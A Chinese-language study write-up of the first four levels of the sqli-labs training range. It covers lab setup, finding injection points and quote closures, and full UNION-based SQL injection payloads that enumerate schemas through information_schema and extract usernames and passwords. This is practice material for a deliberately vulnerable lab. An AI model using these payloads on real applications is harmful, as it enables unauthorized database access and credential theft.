sql-labs闯关:1~4
友善爱国平等爱国诚信自由敬业友善自由友善爱国平等友善平等友善爱国诚信民主法治
复习笔记1
内容:
- 靶场安装
- 遇到的问题
- 了解sql注入攻击类型
- union联合注入步骤思维导图
- sql-labs第一关(GET请求-基于错误-单引号-字符型)
- sql-labs第二关(GET请求-基于整型)
- sql-labs第三关(GET请求-基于错误-变形单引号-字符型)
- sql-labs第四关(GET请求-基于错误-双引号-字符型)
- 总结
1.搭建环境:
1.安装phpstudy_pro下载地址
2.下载sqlilabs项目源码,放在phpstudy_pro的www目录下,建议把文件夹改成方便记忆的
3.修改db-creds.inc文件参数
4.访问创建即可
安装成功
2.安装时遇到的问题:
PHP版本太高出现不兼容,出现如下图问题
网上有很多大佬给出的解决办法,我懒得修改就在GitHub上下载了适合php7的sqlilabs源码下载地址
下述方法我还没试过,自行查阅吧
Fatal error: Uncaught Error: Call to undefined function mysql_connect()问题解决
sqli-labs靶场搭建过程及报错解决方法
3. 了解sql注入攻击类型
4.查看union联合注入步骤思维导图:
5.sql-labs第一关 (目标:通过闯关掌握union联合注入)
输入id=1
正常访问
输入?id=1 and 1=1
和?id=1 and 1=2
对比结果,判断是否为数值型,结果不是数值型,再输入?id=1' and '1'='1
和?id=1' and '1'='2
两个结果不同,可以确定其为字符型
在正常的URL后添加单引号,再次访问,查看报错信息。如上图所示,红色方框中第一对单引号是报错内容,第二对单引号是用户输入的内容,第三个单引号是我们输入的,而我们输入的单引号将语句提前闭合,导致语法出现错误,从而产生sql注入漏洞。
如上图,在可以显示报错信息的情况下,使用转义字符也可以快速找出闭合点。
通过添加注释符(–+或%23或–')将多余的单引号注释,使语法正确。
具体原理请查看sql注入中的–+注释问题探索
用order by判断判断字段数,由上图所知,字段数不超过5
由上图所知,字段数小于4
最终确定,字段数为3
用union查询出显示位,由下图可知,2、3位可回显
在MYSQL 5.0版本之后,MYSQL默认在数据库中存放一个“information_schema”的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储所有数据表的库名,字段名为SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名,字段名为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
group_concat函数可将多个字段拼接成一个字段,集中显示。(与count函数配合使用,个人满意度5颗星)
?id=-1' union select 1,count(schema_name),group_concat(schema_name) from information_schema.schemata --+
爆出所有库名。(不过在上课期间,没用过此表爆库名)
输入?id=-1' union select 1,database(),version()--+
爆数据库名和数据库版本,爆出数据库名为’security’,数据库版本为’5.7.26’
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆出security库下的所有表名(将’security’替换成’database()',效果一样)
初步看表名,这四张表中,'users’表可能会存储用户账号密码,优先尝试拿到users表所有字段名
?id=-1' union select 1,count(column_name),group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出其字段,由上图所知,此表共有14个字段名。
?id=-1' union select 1,count(column_name),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
通过添加过滤条件,更快捷的找到需要的字段
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
最后,通过简单的sql查询就可以得到用户账号和密码
6.sql-labs第二关
正常输入
输入?id=1 and 1=1 和?id=1 and 1=2查看结果,确定其为数值型
通过上一关知道有三列,经过上面两张结果也可以确定
查看回显位
输入?id=0 union select 1,database(),version()
爆库名
?id=0 union select 1,count(table_name),group_concat(table_name) from information_schema.tables where table_schema=database()
爆表名
?id=0 union select 1,count(column_name),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
爆字段
?id=0 union select 1,group_concat(username),group_concat(password) from users
得到数据
7.sql-labs第三关
正常输入
输入转义字符,快速查看闭合点,得到闭合点为’)
测试闭合点是否正确
order by 判断列数
确定回显位
爆库和版本
爆表
爆字段
爆数据
8.sql-labs第四关
正常输入
确定回显位
爆库
爆表
爆字段
爆数据
9.总结
通过四关的闯关,可以了解掌握union联合注入的步骤,虽然用转义字符可以快速找到闭合点,但是在没有回显的时候就没作用了,所以为了熟练掌握,建议在练习的时候使用单引号判断法、双引号判断法多试试,多熟悉熟悉常用的闭合点。
第五关盲注,放在下篇文章